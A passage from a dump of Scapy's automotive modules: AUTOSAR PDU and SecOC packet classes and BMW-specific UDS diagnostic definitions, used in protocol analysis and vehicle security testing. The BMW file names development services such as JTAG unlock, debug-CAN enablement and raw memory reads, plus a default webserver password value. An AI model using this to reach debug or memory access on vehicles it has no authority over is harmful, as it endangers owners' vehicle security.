    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\nPackage of contrib automotive modules that have to be loaded explicitly.\n\"\"\"\n\nimport logging\n\nlog_automotive = logging.getLogger(\"scapy.contrib.automotive\")\n\nlog_automotive.setLevel(logging.INFO)\n"
  },
  {
    "path": "scapy/contrib/automotive/autosar/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Damian Zaręba <damianzrb@zohomail.eu>\n\n# scapy.contrib.status = skip\n\n\"\"\"\nPackage of contrib automotive AUTOSAR modules\nthat have to be loaded explicitly.\n\"\"\"\n"
  },
  {
    "path": "scapy/contrib/automotive/autosar/pdu.py",
    "content": "#! /usr/bin/env python\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Damian Zaręba <damianzrb@zohomail.eu>\n\n# scapy.contrib.description = AUTOSAR PDU packets handling package.\n# scapy.contrib.status = loads\nfrom typing import Tuple, Optional\nfrom scapy.layers.inet import UDP\nfrom scapy.fields import XIntField, PacketListField, LenField\nfrom scapy.packet import Packet, bind_bottom_up\n\n\nclass PDU(Packet):\n    \"\"\"\n    Single PDU Packet inside PDUTransport list.\n    Contains ID and payload length, and later - raw load.\n    It's free to interpret using bind_layers/bind_bottom_up method\n\n    Based off this document:\n\n    https://www.autosar.org/fileadmin/standards/classic/22-11/AUTOSAR_SWS_IPDUMultiplexer.pdf # noqa: E501\n    \"\"\"\n    name = 'PDU'\n    fields_desc = [\n        XIntField('pdu_id', 0),\n        LenField('pdu_payload_len', None, fmt=\"I\")]\n\n    def extract_padding(self, s):\n        # type: (bytes) -> Tuple[bytes, Optional[bytes]]\n        return s[:self.pdu_payload_len], s[self.pdu_payload_len:]\n\n\nclass PDUTransport(Packet):\n    \"\"\"\n    Packet representing PDUTransport containing multiple PDUs\n    \"\"\"\n    name = 'PDUTransport'\n    fields_desc = [\n        PacketListField(\"pdus\", [PDU()], PDU)\n    ]\n\n\nbind_bottom_up(UDP, PDUTransport, dport=60000)\n"
  },
  {
    "path": "scapy/contrib/automotive/autosar/secoc.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = AUTOSAR Secure On-Board Communication\n# scapy.contrib.status = library\n\n\"\"\"\nSecOC\n\"\"\"\nfrom scapy.config import conf\nfrom scapy.error import log_loading\n\nif conf.crypto_valid:\n    from cryptography.hazmat.primitives import cmac\n    from cryptography.hazmat.primitives.ciphers import algorithms\nelse:\n    log_loading.info(\"Can't import python-cryptography v2.0+. \"\n                     \"Disabled SecOC calculate_cmac.\")\n\nfrom scapy.config import conf\nfrom scapy.fields import PacketLenField\nfrom scapy.packet import Packet, Raw\n\n# Typing imports\nfrom typing import (\n    Callable,\n    Dict,\n    Optional,\n    Set,\n    Type,\n)\n\n\nclass SecOCMixin:\n\n    pdu_payload_cls_by_identifier: Dict[int, Type[Packet]] = dict()\n    secoc_protected_pdus_by_identifier: Set[int] = set()\n\n    def secoc_authenticate(self) -> None:\n        raise NotImplementedError\n\n    def secoc_verify(self) -> bool:\n        raise NotImplementedError\n\n    def get_secoc_payload(self) -> bytes:\n        \"\"\"Override this method for customization\n        \"\"\"\n        raise NotImplementedError\n\n    def get_secoc_key(self) -> bytes:\n        \"\"\"Override this method for customization\n        \"\"\"\n        return b\"\\x00\" * 16\n\n    def get_secoc_freshness_value(self) -> bytes:\n        \"\"\"Override this method for customization\n        \"\"\"\n        return b\"\\x00\" * 4\n\n    def get_message_authentication_code(self):\n        payload = self.get_secoc_payload()\n        key = self.get_secoc_key()\n        freshness_value = self.get_secoc_freshness_value()\n        return self.calculate_cmac(key, payload, freshness_value)\n\n    @staticmethod\n    def calculate_cmac(key: bytes, payload: bytes, freshness_value: bytes) -> bytes:\n        c = cmac.CMAC(algorithms.AES128(key))\n        c.update(payload + freshness_value)\n        return c.finalize()\n\n    @classmethod\n    def register_secoc_protected_pdu(cls,\n                                     pdu_id: int,\n                                     pdu_payload_cls: Type[Packet] = Raw\n                                     ) -> None:\n        cls.secoc_protected_pdus_by_identifier.add(pdu_id)\n        cls.pdu_payload_cls_by_identifier[pdu_id] = pdu_payload_cls\n\n    @classmethod\n    def unregister_secoc_protected_pdu(cls, pdu_id: int) -> None:\n        cls.secoc_protected_pdus_by_identifier.remove(pdu_id)\n        del cls.pdu_payload_cls_by_identifier[pdu_id]\n\n\nclass PduPayloadField(PacketLenField):\n    __slots__ = [\"guess_pkt_cls\"]\n\n    def __init__(self,\n                 name,  # type: str\n                 default,  # type: Packet\n                 guess_pkt_cls,  # type: Callable[[Packet, bytes], Packet]  # noqa: E501\n                 length_from=None  # type: Optional[Callable[[Packet], int]]  # noqa: E501\n                 ):\n        # type: (...) -> None\n        super(PacketLenField, self).__init__(name, default, Raw)\n        self.length_from = length_from or (lambda x: 0)\n        self.guess_pkt_cls = guess_pkt_cls\n\n    def m2i(self, pkt, m):  # type: ignore\n        # type: (Optional[Packet], bytes) -> Packet\n        return self.guess_pkt_cls(pkt, m)\n"
  },
  {
    "path": "scapy/contrib/automotive/autosar/secoc_canfd.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = AUTOSAR Secure On-Board Communication PDUs\n# scapy.contrib.status = loads\n\n\"\"\"\nSecOC PDU\n\"\"\"\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.contrib.automotive.autosar.secoc import SecOCMixin, PduPayloadField\nfrom scapy.base_classes import Packet_metaclass\nfrom scapy.fields import (XByteField, FieldLenField, XStrFixedLenField,\n                          FlagsField, XBitField, ShortField)\nfrom scapy.layers.can import CANFD\nfrom scapy.packet import Raw, Packet\n\n# Typing imports\nfrom typing import (\n    Any,\n    Optional,\n    Tuple,\n)\n\n\nclass SecOC_CANFD(CANFD, SecOCMixin):\n    name = 'SecOC_CANFD'\n    fields_desc = [\n        FlagsField('flags', 0, 3, ['error',\n                                   'remote_transmission_request',\n                                   'extended']),\n        XBitField('identifier', 0, 29),\n        FieldLenField('length', None, length_of='pdu_payload',\n                      fmt='B', adjust=lambda pkt, x: x + 4),\n        FlagsField('fd_flags', 4, 8, [\n            'bit_rate_switch', 'error_state_indicator', 'fd_frame']),\n        ShortField('reserved', 0),\n        PduPayloadField('pdu_payload',\n                        Raw(),\n                        guess_pkt_cls=lambda pkt, data: SecOC_CANFD.get_pdu_payload_cls(pkt, data),  # noqa: E501\n                        length_from=lambda pkt: pkt.length - 4),\n        XByteField(\"tfv\", 0),  # truncated freshness value\n        XStrFixedLenField(\"tmac\", None, length=3)]  # truncated message authentication code # noqa: E501\n\n    def secoc_authenticate(self) -> None:\n        self.tfv = struct.unpack(\">B\", self.get_secoc_freshness_value()[-1:])[0]\n        self.tmac = self.get_message_authentication_code()[0:3]\n\n    def secoc_verify(self) -> bool:\n        return self.get_message_authentication_code()[0:3] == self.tmac\n\n    def get_secoc_payload(self) -> bytes:\n        \"\"\"Override this method for customization\n        \"\"\"\n        return bytes(self.pdu_payload)\n\n    @classmethod\n    def dispatch_hook(cls, s=None, *_args, **_kwds):\n        # type: (Optional[bytes], Any, Any) -> Packet_metaclass\n        \"\"\"dispatch_hook determines if PDU is protected by SecOC.\n        If PDU is protected, SecOC_PDU will be returned, otherwise AutoSAR PDU\n        will be returned.\n        \"\"\"\n        if s is None:\n            return SecOC_CANFD\n        if len(s) < 4:\n            return Raw\n        identifier = struct.unpack('>I', s[0:4])[0] & 0x1FFFFFFF\n        if identifier in cls.secoc_protected_pdus_by_identifier:\n            return SecOC_CANFD\n        else:\n            return CANFD\n\n    @classmethod\n    def get_pdu_payload_cls(cls,\n                            pkt: Packet,\n                            data: bytes\n                            ) -> Packet:\n        try:\n            klass = cls.pdu_payload_cls_by_identifier[pkt.identifier]\n        except KeyError:\n            klass = conf.raw_layer\n        return klass(data, _parent=pkt)\n\n    def extract_padding(self, s):\n        # type: (bytes) -> Tuple[bytes, Optional[bytes]]\n        return b\"\", s\n"
  },
  {
    "path": "scapy/contrib/automotive/autosar/secoc_pdu.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = AUTOSAR Secure On-Board Communication PDUs\n# scapy.contrib.status = loads\n\n\"\"\"\nSecOC PDU\n\"\"\"\nimport struct\n\nfrom scapy.config import conf\nfrom scapy.contrib.automotive.autosar.secoc import SecOCMixin, PduPayloadField\nfrom scapy.base_classes import Packet_metaclass\nfrom scapy.contrib.automotive.autosar.pdu import PDU\nfrom scapy.fields import (XByteField, XIntField, PacketListField,\n                          FieldLenField, XStrFixedLenField)\nfrom scapy.packet import Packet, Raw\n\n# Typing imports\nfrom typing import (\n    Any,\n    Optional,\n    Tuple,\n    Type,\n)\n\n\nclass SecOC_PDU(Packet, SecOCMixin):\n    name = 'SecOC_PDU'\n    fields_desc = [\n        XIntField('pdu_id', 0),\n        FieldLenField('pdu_payload_len', None,\n                      fmt=\"I\",\n                      length_of=\"pdu_payload\",\n                      adjust=lambda pkt, x: x + 4),\n        PduPayloadField('pdu_payload',\n                        Raw(),\n                        guess_pkt_cls=lambda pkt, data: SecOC_PDU.get_pdu_payload_cls(pkt, data),  # noqa: E501\n                        length_from=lambda pkt: pkt.pdu_payload_len - 4),\n        XByteField(\"tfv\", 0),  # truncated freshness value\n        XStrFixedLenField(\"tmac\", None, length=3)]  # truncated message authentication code # noqa: E501\n\n    def secoc_authenticate(self) -> None:\n        self.tfv = struct.unpack(\">B\", self.get_secoc_freshness_value()[-1:])[0]\n        self.tmac = self.get_message_authentication_code()[0:3]\n\n    def secoc_verify(self) -> bool:\n        return self.get_message_authentication_code()[0:3] == self.tmac\n\n    def get_secoc_payload(self) -> bytes:\n        \"\"\"Override this method for customization\n        \"\"\"\n        return self.pdu_payload\n\n    @classmethod\n    def dispatch_hook(cls, s=None, *_args, **_kwds):\n        # type: (Optional[bytes], Any, Any) -> Packet_metaclass\n        \"\"\"dispatch_hook determines if PDU is protected by SecOC.\n        If PDU is protected, SecOC_PDU will be returned, otherwise AutoSAR PDU\n        will be returned.\n        \"\"\"\n        if s is None:\n            return SecOC_PDU\n        if len(s) < 4:\n            return Raw\n        identifier = struct.unpack('>I', s[0:4])[0]\n        if identifier in cls.secoc_protected_pdus_by_identifier:\n            return SecOC_PDU\n        else:\n            return PDU\n\n    @classmethod\n    def get_pdu_payload_cls(cls,\n                            pkt: Packet,\n                            data: bytes\n                            ) -> Packet:\n        try:\n            klass = cls.pdu_payload_cls_by_identifier[pkt.pdu_id]\n        except KeyError:\n            klass = conf.raw_layer\n        return klass(data, _parent=pkt)\n\n    def extract_padding(self, s):\n        # type: (bytes) -> Tuple[bytes, Optional[bytes]]\n        return b\"\", s\n\n\nclass SecOC_PDUTransport(Packet):\n    \"\"\"\n    Packet representing SecOC_PDUTransport containing multiple PDUs\n    \"\"\"\n\n    name = 'SecOC_PDUTransport'\n    fields_desc = [\n        PacketListField(\"pdus\", [SecOC_PDU()], pkt_cls=SecOC_PDU)\n    ]\n\n    @staticmethod\n    def register_secoc_protected_pdu(pdu_id: int,\n                                     pdu_payload_cls: Type[Packet] = Raw\n                                     ) -> None:\n        SecOC_PDU.register_secoc_protected_pdu(pdu_id, pdu_payload_cls)\n\n    @staticmethod\n    def unregister_secoc_protected_pdu(pdu_id: int) -> None:\n        SecOC_PDU.unregister_secoc_protected_pdu(pdu_id)\n"
  },
  {
    "path": "scapy/contrib/automotive/bmw/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\nPackage of contrib automotive bmw specific modules\nthat have to be loaded explicitly.\n\"\"\"\n"
  },
  {
    "path": "scapy/contrib/automotive/bmw/definitions.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = BMW specific definitions for UDS\n# scapy.contrib.status = loads\n\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteField, ShortField, ByteEnumField, X3BytesField, \\\n    StrField, StrFixedLenField, LEThreeBytesField, \\\n    PacketListField, IntField, IPField, ThreeBytesField, ShortEnumField, \\\n    XStrFixedLenField\nfrom scapy.contrib.automotive.uds import UDS, UDS_RDBI, UDS_DSC, UDS_IOCBI, \\\n    UDS_RC, UDS_RD, UDS_RSDBI, UDS_RDBIPR\n\nBMW_specific_enum = {\n    0: \"requestIdentifiedBCDDTCAndStatus\",\n    1: \"requestSupportedBCDDTCAndStatus\",\n    2: \"requestIdentified2ByteHexDTCAndStatus\",\n    3: \"requestSupported2ByteHexDTCAndStatus\",\n    128: \"ECUIdentificationDataTable\",\n    129: \"ECUIdentificationScalingTable\",\n    134: \"BMW_currentUIFdataTable\",\n    135: \"BMW_physicalECUhardwareNumber\",\n    136: \"BMW_changeIndex\",\n    137: \"BMW_systemSupplierECUserialNumber\",\n    138: \"BMW_systemSupplierSpecific\",\n    139: \"BMW_systemSupplierSpecific\",\n    140: \"BMW_systemSupplierSpecific\",\n    141: \"BMW_systemSupplierSpecific\",\n    142: \"BMW_systemSupplierSpecific\",\n    143: \"BMW_systemSupplierSpecific\",\n    144: \"VIN - Vehicle Identification Number\",\n    145: \"vehicleManufacturerECUHardwareNumber\",\n    146: \"systemSupplierECUHardwareNumber\",\n    147: \"systemSupplierECUHardwareVersionNumber\",\n    148: \"systemSupplierECUSoftwareNumber\",\n    149: \"systemSupplierECUSoftwareVersionNumber\",\n    150: \"exhaustRegulationOrTypeApprovalNumber\",\n    151: \"systemNameOrEngineType\",\n    152: \"repairShopCodeOrTesterSerialNumber\",\n    153: \"programmingDate\",\n    154: \"BMW_vehicleManufacturerECUhardwareVersionNumber\",\n    155: \"BMW_vehicleManufacturerCodingIndex\",\n    156: \"BMW_vehicleManufacturerDiagnosticIndex\",\n    157: \"BMW_dateOfECUmanufacturing\",\n    158: \"BMW_systemSupplierIndex\",\n    159: \"BMW_vehicleManufECUsoftwareLayerVersionNumbers\",\n    241: \"BMW / OBD tester address\",\n    245: \"OBD via function bus\",\n    250: \"MOST tester address\"}\n\nBMW_memoryTypeIdentifiers = {\n    0: \"BMW_linearAddressRange\",\n    1: \"BMW_ROM_EPROM_internal\",\n    2: \"BMW_ROM_EPROM_external\",\n    3: \"BMW_NVRAM_characteristicZones_DTCmemory\",\n    4: \"BMW_RAM_internal_shortMOV\",\n    5: \"BMW_RAM_external_xDataMOV\",\n    6: \"BMW_flashEPROM_internal\",\n    7: \"BMW_UIFmemory\",\n    8: \"BMW_vehicleOrderDataMemory_onlyToBeUsedByDS2_ECUs\",\n    9: \"BMW_flashEPROM_external\",\n    11: \"BMW_RAM_internal_longMOVatRegister\"}\n\n\nclass IOCBLI_REQ(Packet):\n    name = 'InputOutputControlByLocalIdentifier_Request'\n    fields_desc = [\n        ByteField('inputOutputLocalIdentifier', 1),\n        ByteEnumField('inputOutputControlParameter', 0,\n                      {0: \"returnControlToECU\",\n                       1: \"reportCurrentState\",\n                       2: \"reportIOConditions\",\n                       3: \"reportIOScaling\",\n                       4: \"resetToDefault\",\n                       5: \"freezeCurrentState\",\n                       6: \"executeControlOption\",\n                       7: \"shortTermAdjustment\",\n                       8: \"longTerAdjustment\",\n                       9: \"reportIOCalibrationParameters\"})]\n\n\nbind_layers(UDS, IOCBLI_REQ, service=0x30)\nUDS.services[0x30] = 'InputOutputControlByLocalIdentifier'\n\n\nclass RDTCBS_REQ(Packet):\n    name = 'ReadDTCByStatus_Request'\n    fields_desc = [\n        ByteEnumField('statusOfDTC', 0, BMW_specific_enum),\n        ShortField('groupOfDTC', 0)]\n\n\nbind_layers(UDS, RDTCBS_REQ, service=0x18)\nUDS.services[0x18] = 'ReadDTCByStatus'\n\n\nclass RSODTC_REQ(Packet):\n    name = 'ReadStatusOfDTC_Request'\n    fields_desc = [\n        ShortField('groupOfDTC', 0)]\n\n\nbind_layers(UDS, RSODTC_REQ, service=0x17)\nUDS.services[0x17] = 'ReadStatusOfDTC'\n\n\nclass REI_IDENT_REQ(Packet):\n    name = 'Read ECU Identification_Request'\n    fields_desc = [\n        ByteEnumField('identificationDataTable', 0, BMW_specific_enum)]\n\n\nbind_layers(UDS, REI_IDENT_REQ, service=0x1a)\nUDS.services[0x1a] = 'ReadECUIdentification'\n\n\nclass SPRBLI_REQ(Packet):\n    name = 'StopRoutineByLocalIdentifier_Request'\n    fields_desc = [\n        ByteEnumField('localIdentifier', 0,\n                      {1: \"codingChecksum\",\n                       2: \"clearMemory\",\n                       3: \"clearHistoryMemory\",\n                       4: \"selfTest\",\n                       5: \"powerDown\",\n                       6: \"clearDTCshadowMemory\",\n                       7: \"requestForAuthentication\",\n                       8: \"releaseAuthentication\",\n                       9: \"checkSignature\",\n                       10: \"checkProgrammingStatus\",\n                       11: \"executeDiagnosticService\",\n                       12: \"controlEnergySavingMode\",\n                       13: \"resetSystemFaultMessage\",\n                       14: \"timeControlledPowerdown\",\n                       15: \"disableCommunicationOverGateway\",\n                       31: \"SweepingTechnologies\"}),\n        StrField('routineExitOption', b\"\")]\n\n\nbind_layers(UDS, SPRBLI_REQ, service=0x32)\nUDS.services[0x32] = 'StopRoutineByLocalIdentifier'\n\n\nclass ENMT_REQ(Packet):\n    name = 'EnableNormalMessageTransmission_Request'\n    fields_desc = [\n        ByteEnumField('responseRequired', 0, {1: \"yes\", 2: \"no\"})]\n\n\nbind_layers(UDS, ENMT_REQ, service=0x29)\nUDS.services[0x29] = 'EnableNormalMessageTransmission'\n\n\nclass WDBLI_REQ(Packet):\n    name = 'WriteDataByLocalIdentifier_Request'\n    fields_desc = [\n        ByteEnumField('recordLocalIdentifier', 0, {144: \"shortVIN\"}),\n        StrField('recordValue', b\"\")]\n\n\nbind_layers(UDS, WDBLI_REQ, service=0x3b)\nUDS.services[0x3b] = 'WriteDataByLocalIdentifier'\n\n\nclass RDS2TCM_REQ(Packet):\n    name = 'ReadDS2TroubleCodeMemory_Request'\n    fields_desc = [\n        ByteField('DS2faultNumber', 0)]\n\n\nbind_layers(UDS, RDS2TCM_REQ, service=0xa0)\nUDS.services[0xa0] = 'ReadDS2TroubleCodeMemory'\n\n\nclass RDBLI_REQ(Packet):\n    name = 'ReadDataByLocalIdentifier_Request'\n    fields_desc = [\n        ByteField('recordLocalIdentifier', 0)]\n\n\nbind_layers(UDS, RDBLI_REQ, service=0x21)\nUDS.services[0x21] = 'ReadDataByLocalIdentifier'\n\n\nclass RRRBA_REQ(Packet):\n    name = 'RequestRoutineResultsByAddress_Request'\n    fields_desc = [\n        X3BytesField('routineAddress', 0),\n        ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers)]\n\n\nbind_layers(UDS, RRRBA_REQ, service=0x3a)\nUDS.services[0x3a] = 'RequestRoutineResultsByAddress'\n\n\nclass RRRBLI_REQ(Packet):\n    name = 'RequestRoutineResultsByLocalIdentifier_Request'\n    fields_desc = [\n        ByteField('routineLocalID', 0)]\n\n\nbind_layers(UDS, RRRBLI_REQ, service=0x33)\nUDS.services[0x33] = 'RequestRoutineResultsByLocalIdentifier'\n\n\nclass SPRBA_REQ(Packet):\n    name = 'StopRoutineByAddress_Request'\n    fields_desc = [\n        X3BytesField('routineAddress', 0),\n        ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers),\n        StrField('routineExitOption', 0)]\n\n\nbind_layers(UDS, SPRBA_REQ, service=0x39)\nUDS.services[0x39] = 'StopRoutineByAddress'\n\n\nclass STRBA_REQ(Packet):\n    name = 'StartRoutineByAddress_Request'\n    fields_desc = [\n        X3BytesField('routineAddress', 0),\n        ByteEnumField('memoryTypeIdentifier', 0, BMW_memoryTypeIdentifiers),\n        StrField('routineEntryOption', 0)]\n\n\nbind_layers(UDS, STRBA_REQ, service=0x38)\nUDS.services[0x38] = 'StartRoutineByAddress'\n\n\nclass UDS2S_REQ(Packet):\n    name = 'UnpackDS2Service_Request'\n    fields_desc = [\n        ByteField('DS2ECUAddress', 0),\n        ByteField('DS2requestLength', 0),\n        ByteField('DS2ControlByte', 0),\n        StrField('DS2requestParameters', 0)]\n\n\nbind_layers(UDS, UDS2S_REQ, service=0xa5)\nUDS.services[0xa5] = 'UnpackDS2Service'\n\n\nclass SVK_DateField(LEThreeBytesField):\n    def i2repr(self, pkt, x):\n        x = self.addfield(pkt, b\"\", x)\n        return \"%02X.%02X.20%02X\" % (x[2], x[1], x[0])\n\n\nclass SVK_Entry(Packet):\n    process_classes = {\n        0x01: \"HWEL\",\n        0x02: \"HWAP\",\n        0x03: \"HWFR\",\n        0x05: \"CAFD\",\n        0x06: \"BTLD\",\n        0x08: \"SWFL\",\n        0x09: \"SWFF\",\n        0x0A: \"SWPF\",\n        0x0B: \"ONPS\",\n        0x0F: \"FAFP\",\n        0x1A: \"TLRT\",\n        0x1B: \"TPRG\",\n        0x07: \"FLSL\",\n        0x0C: \"IBAD\",\n        0x10: \"FCFA\",\n        0x1C: \"BLUP\",\n        0x1D: \"FLUP\",\n        0xC0: \"SWUP\",\n        0xC1: \"SWIP\",\n        0xA0: \"ENTD\",\n        0xA1: \"NAVD\",\n        0xA2: \"FCFN\",\n        0x04: \"GWTB\",\n        0x0D: \"SWFK\",\n    }\n    \"\"\"\n        HWEL - Hardware (Elektronik) - Hardware (Electronics)\n        HWAP - Hardwareauspraegung - Hardware Configuration\n        HWFR - Hardwarefarbe - Hardware Color\n        CAFD - Codierdaten - Coding Data\n        BTLD - Bootloader - Bootloader\n        SWFL - Software ECU Speicherimage - Software ECU Storage Image\n        SWFF - Flash File Software - Flash File Software\n        SWPF - Pruefsoftware - Testing Software\n        ONPS - Onboard Programmiersystem - Onboard Programming System\n        FAFP - FA2FP - FA2FP\n        TLRT - Temporaere Loeschroutine - Temporary Deletion Routine\n        TPRG - Temporaere Programmierroutine - Temporary Programming Routine\n        FLSL - Flashloader Slave - Flashloader Slave\n        IBAD - Interaktive Betriebsanleitung Daten - Interactive Operating Manual Data\n        FCFA - Freischaltcode Fahrzeug-Auftrag - Vehicle Order Unlock Code\n        BLUP - Bootloader-Update Applikation - Bootloader Update Application\n        FLUP - Flashloader-Update Applikation - Flashloader Update Application\n        SWUP - Software-Update Package - Software Update Package\n        SWIP - Index Software-Update Package - Software Update Package Index\n        ENTD - Entertainment Daten - Entertainment Data\n        NAVD - Navigation Daten - Navigation Data\n        FCFN - Freischaltcode Funktion - Function Unlock Code\n        GWTB - Gateway-Tabelle - Gateway Table\n        SWFK - BEGU: Detaillierung auf SWE-Ebene - BEGU: Detailing at SWE Level\n    \"\"\"\n    fields_desc = [\n        ByteEnumField(\"processClass\", 0, process_classes),\n        XStrFixedLenField(\"svk_id\", b\"\", length=4),\n        ByteField(\"mainVersion\", 0),\n        ByteField(\"subVersion\", 0),\n        ByteField(\"patchVersion\", 0)]\n\n    def extract_padding(self, p):\n        return b\"\", p\n\n\nclass SVK(Packet):\n    prog_status_enum = {\n        1: \"signature check and programming-dependencies check passed\",\n        2: \"software entry invalid or programming-dependencies check failed\",\n        3: \"software entry incompatible to hardware entry\",\n        4: \"software entry incompatible with other software entry\"}\n\n    @staticmethod\n    def get_length(p: Packet):\n        return len(p.original) - (8 * p.entries_count + 7)\n\n    fields_desc = [\n        ByteEnumField(\"prog_status1\", 0, prog_status_enum),\n        ByteEnumField(\"prog_status2\", 0, prog_status_enum),\n        ShortField(\"entries_count\", 0),\n        SVK_DateField(\"prog_date\", 0),\n        StrFixedLenField(\"pad\", b'\\x00', length_from=get_length),\n        PacketListField(\"entries\", [], SVK_Entry,\n                        count_from=lambda x: x.entries_count)]\n\n\nclass DIAG_SESSION_RESP(Packet):\n    fields_desc = [\n        ByteField('DIAG_SESSION_VALUE', 0),\n        StrField('DIAG_SESSION_TEXT', '')\n    ]\n\n\nclass IP_CONFIG_RESP(Packet):\n    fields_desc = [\n        ByteField('ADDRESS_FORMAT_ID', 0),\n        IPField('IP', '192.168.0.10'),\n        IPField('SUBNETMASK', '255.255.255.0'),\n        IPField('DEFAULT_GATEWAY', '192.168.0.1')\n    ]\n\n\nbind_layers(UDS_RDBIPR, IP_CONFIG_RESP, dataIdentifier=0x172a)\nbind_layers(UDS_RDBIPR, DIAG_SESSION_RESP, dataIdentifier=0xf186)\n\n\nclass DEV_JOB(Packet):\n    identifiers = {\n        0x51F1: \"ControlReciprocalMonitor\",\n        0xCADD: \"EnableDebugCan\",\n        0xDEAD: \"LockJtag1\",\n        0xDEAE: \"LockJtag2\",\n        0xDEAF: \"UnlockJtag\",\n        0xF510: \"ControlFuSiIO\",\n        0xFF00: \"ReadTransportMessageStatus\",\n        0xFF10: \"ControlEthernetActivation\",\n        0xFF51: \"ControlPwfMaster\",\n        0xFF66: \"ControlWebsite\",\n        0xFF77: \"ControlIdleMessage\",\n        0xFFB0: \"ReadManufacturerData\",\n        0xFFB1: \"ReadBuildNumber\",\n        0xFFD0: \"ReadFzmSentryStates\",\n        0xFFD1: \"ReadFzmSlaveStates\",\n        0xFFD2: \"ReadFzmMasterState\",\n        0xFFD3: \"ControlLifecycle\",\n        0xFFD5: \"IsCertificateValid\",\n        0xFFFA: \"SetDiagRouting\",\n        0xFFFF: \"ReadMemory\"}\n    fields_desc = [\n        ShortEnumField('identifier', 0xffff, identifiers)\n    ]\n\n\nclass DEV_JOB_PR(Packet):\n    fields_desc = [\n        ShortEnumField('identifier', 0xffff, DEV_JOB.identifiers)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, DEV_JOB) and \\\n            self.identifier == other.identifier\n\n\nUDS.services[0xBF] = \"DevelopmentJob\"\nUDS.services[0xFF] = \"DevelopmentJobPositiveResponse\"\nbind_layers(UDS, DEV_JOB, service=0xBF)\nbind_layers(UDS, DEV_JOB_PR, service=0xFF)\n\n\nclass READ_MEM(Packet):\n    fields_desc = [\n        IntField('read_addr', 0),\n        IntField('read_length', 0)\n    ]\n\n\nclass READ_MEM_PR(Packet):\n    fields_desc = [\n        StrField('data', ''),\n    ]\n\n\nclass WEBSERVER(Packet):\n    fields_desc = [\n        ByteField('enable', 1),\n        ThreeBytesField('password', 0x10203)\n    ]\n\n\nbind_layers(DEV_JOB, WEBSERVER, identifier=0xff66)\nbind_layers(DEV_JOB_PR, WEBSERVER, identifier=0xff66)\nbind_layers(DEV_JOB, READ_MEM, identifier=0xffff)\nbind_layers(DEV_JOB_PR, READ_MEM_PR, identifier=0xffff)\n\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf101)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf102)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf103)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf104)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf105)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf106)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf107)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf108)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf109)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10a)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10b)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10c)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10d)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10e)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf10f)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf110)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf111)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf112)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf113)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf114)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf115)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf116)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf117)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf118)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf119)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11a)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11b)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11c)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11d)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11e)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf11f)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf120)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf121)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf122)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf123)\nbind_layers(UDS_RDBIPR, SVK, dataIdentifier=0xf124)\nbind_layers(UDS_RDBIPR, SVK, 